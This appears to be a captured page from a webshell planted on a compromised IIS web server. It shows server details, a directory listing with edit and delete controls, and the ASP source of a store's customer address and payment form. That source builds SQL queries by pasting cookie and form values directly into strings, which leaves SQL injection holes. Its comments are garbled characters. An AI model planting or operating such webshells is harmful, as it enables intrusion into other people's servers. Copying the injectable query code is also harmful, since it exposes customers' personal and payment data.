Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

'ȡ���ͻ��ĵ�ַ
 hasinfomation=0
 set rs=server.createobject("adodb.recordset")
 UserEmail=Session("UserEmail")
 if len(UserEmail)=0 then
	 UserEmail=Request.Cookies("UserEmail")
 end if
 if len(UserEmail)=0 then
    Response.Redirect("Register.asp")
 end if
 sql="select * from useraddress where useremail='"&UserEmail&"'"
 rs.open sql,conn,1,1
 if not rs.eof then
 hasinfomation=1
 username=rs("username")
 useraddress=rs("useraddress")
 phonenumber=rs("phonenumber")
 city=rs("city")
 country=rs("country")
 stateinfo=rs("state")
 zipcode=rs("zipcode")
 dingyue=rs("dingyue")
 newemail=rs("newemail")
 payment=rs("payment")
 end if

Dim FKFS(1)
FKFS(0)="PAYPAL"
FKFS(1)="OTHER"

'**********************************************************
Set fs=Server.CreateObject("Scripting.FileSystemObject")
dim BB(8)
BB(8)="ok"
if request.form("B2")="Submit" then				'��ÿͻ���Ϣ
    set rs1=server.createobject("adodb.recordset")
	if request.Form("T8")="OK" then
	tempaaa=0
	else
	tempaaa=1
	end if
	if lcase(trim(request.Form("T6")))<> "canada" and lcase(trim(request.Form("T6")))<>"united states" then
	paymenttype="OTHER"
	elseif request.Form("T2")="OTHER" then
	paymenttype="OTHER"
	else
	paymenttype="PAYPAL"
	end if
	
	if hasinfomation=0 then
	sql1="select * from useraddress"
	rs1.open sql1,conn,1,3
	rs1.addnew
	rs1("useremail")=session("UserEmail")
	rs1("username")=request.Form("T0")
	rs1("useraddress")=request.Form("T4")
	rs1("phonenumber")=request.Form("T1")
	rs1("city")=request.Form("T5")
	rs1("country")=request.Form("T6")
	rs1("zipcode")=request.Form("T3")
	rs1("newemail")=request.Form("T7")
	rs1("state")=request.Form("T8")
	rs1("payment")=paymenttype
	rs1("dingyue")=tempaaa
	rs1.update
	rs1.close
	set rs1=nothing
	else
	sql2="update useraddress set useremail='"&session("UserEmail")&"',username='"&request.Form("T0")&"',useraddress='"&request.Form("T4")&"',phonenumber='"&request.Form("T1")&"',city='"&request.Form("T5")&"',country='"&request.Form("T6")&"',zipcode='"&request.Form("T3")&"',newemail='"&request.Form("T7")&"',dingyue="&tempaaa&",payment='"&paymenttype&"',state='"&request.Form("T8")&"' where useremail='"&session("UserEmail")&"'"
	conn.execute sql2
	end if
	
	'�ٴ�ȡ����ַ
	 set rs3=server.createobject("adodb.recordset")
     UserEmail=Session("UserEmail")
 sql3="select * from useraddress where useremail='"&UserEmail&"'"
 rs3.open sql3,conn,1,1
 if not rs3.eof then
 username=rs3("username")
 useraddress=rs3("useraddress")
 phonenumber=rs3("phonenumber")
 city=rs3("city")
 country=rs3("country")
 stateinfo=rs3("state")
 zipcode=rs3("zipcode")
 dingyue=rs3("dingyue")
 newemail=rs3("newemail")
 payment=rs3("payment")
 end if
end if
conn.close
set conn=nothing
'-------------------------------------------------------------
'If you are from North America and want to make payment by PAYPAL,please choose "paypal" in payment section,after submit ,you can have access to online paypal payment. 
'If you are from North America and DO NOT want to make payment by PAYPAL,please choose "other" in payment section,after submit,we will contact you for detailed payment terms by email.
'If you are international buyers,please choose "other" in payment section,after submit,we will contact you for detailed shipping and payment terms by email.

'��������Ա�������ͨ��paypal�������payment��Ŀѡ��paypal���ύ������paypal����ҳ��
'��������Ա�������ͨ��paypal�������payment��Ŀѡ��other���ύ��,���ǻ��ʼ���ϵ����ڸ�������
'��������������������أ�����payment��Ŀѡ��other���ύ��,���ǻ��ʼ���ϵ��������䣬��������
'-------------------------------------------------------------
Infor="<font color='#008080'>* Please fill in all the fields."
Info_Flag=1
for i=0 to 7
	tabname="T"&i
	if len(request.Form(tabname))=0 then Info_Flag=0
next
if InfoFlag=0 then
	Infor="<font color='#FF0000'>* Incomplete information, please refill carefully ..."
end if
%>
<table border="1" width="799" height="275" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC" style="border-collapse: collapse">
	<form method="POST" action="">
	<tr>
		<td height="20" colspan="3" align="center">
		<font face="Verdana"><span style="font-size: 9pt; font-weight: 700">Personal Information</span></font></td>
	</tr>
	
	<%
	'<tr>
	'	<td height="20" width="346"><font face="Verdana"><span style="font-size: 9pt; font-weight: 700">Sold to:</span></font></td>
	'	<td height="20" width="343"><font face="Verdana"><span style="font-size: 9pt; font-weight: 700">Ship to:</span></font></td>
	'	<td height="15" width="62" valign=bottom>
	'		<p align="center">&nbsp;��</td>
	'</tr>
	%>

<tr>
		<td height="85" width="367">
		<table border="0" width="342" height="132">
			<tr>
				<td height="16" width="83" align="right">
				<font face="Verdana" style="font-size: 9pt">Name</font></td>
				<td height="16" width="269" align="left">
			  <input type="text" id="T0" name="T0" size="31" style="font-size: 10pt; font-family: Verdana" value="<%=username%>"></td>
			</tr>
			<tr>
				<td height="23" width="83" align="right">
				<font face="Verdana" style="font-size: 9pt">Phone Number</font></td>
				<td height="23" width="269" align="left"><input type="text" name="T1" size="31" style="font-size: 10pt; font-family: Verdana"value="<%=phonenumber%>" /></td>
			</tr>
			<tr>
				<td height="23" width="83" align="right">
				<font face="Verdana"><span style="font-size: 9pt">Payment</span></font></td>
				<td height="23" width="269" align="left">
				<Select name="T2" id="T2"  style="font-size: 10pt; font-family: Verdana">
					<option value="<%=payment%>"><%=payment%></option>
					<% for F_II=0 to Ubound(FKFS) %>
					<option value="<%=FKFS(F_II)%>"><%=FKFS(F_II)%></option>
					<% next %>
			  </Select>	</tr>
			<tr>
				<td height="20" width="83" align="right">
				<font face="Verdana" style="font-size: 9pt">Postal/zip code</font></td>
				<td height="20" width="269" align="left"></font>
			  <input type="text" name="T3" size="31" style="font-size: 10pt; font-family: Verdana"value="<%=zipcode%>"></td>
			</tr>
	  </table>		</td>
		
		<td height="85" width="418">
		<table border="0" width="353" height="132">
			<tr>
				<td height="16" width="118" align="right">
				<font face="Verdana" style="font-size: 9pt">Address</font></td>
				<td height="16" width="225" align="left">
				<input type="text" name="T4" size="31" style="font-size: 10pt; font-family: Verdana"value="<%=useraddress%>"></td>
			</tr>
			<tr>
				<td height="21" width="118" align="right">
				<font face="Verdana" style="font-size: 9pt">City</font></td>
				<td height="21" width="225" align="left">
				<input type="text" name="T5" size="31" style="font-size: 10pt; font-family: Verdana" value="<%=city%>"></td>
			</tr>
            <tr>
				<td height="21" width="118" align="right">
				<font face="Verdana" style="font-size: 9pt">State</font></td>
				<td height="21" width="225" align="left">
				<input type="text" name="T8" size="31" style="font-size: 10pt; font-family: Verdana" value="<%=Stateinfo%>"></td>
			</tr>
			<tr>
				<td height="23" width="118" align="right">
				<font face="Verdana"><span style="font-size: 9pt">Country</span></font></td>
				<td height="23" width="225" align="left">
				<Select name="T6" id="T6"  style="font-size: 10pt; font-family: Verdana"><option value="<%=country%>"><%=country%></option>
					<% for C_II=0 to Ubound(Country_Region) %>
					<option value="<%=Country_Region(C_II)%>"><%=Country_Region(C_II)%></option>
					<% next %>
			</Select>			
            </tr>
			
	  </table>		</td>
		<td height="159" width="6" rowspan="2" valign=bottom>&nbsp;</td>
	</tr>
	
	<tr>
	  <td height="20" colspan="2" align="center"><input type="submit" value="Submit" name="B2" /></td>	
      </tr>
	</form>
</table>
<% Set fs=Nothing: %>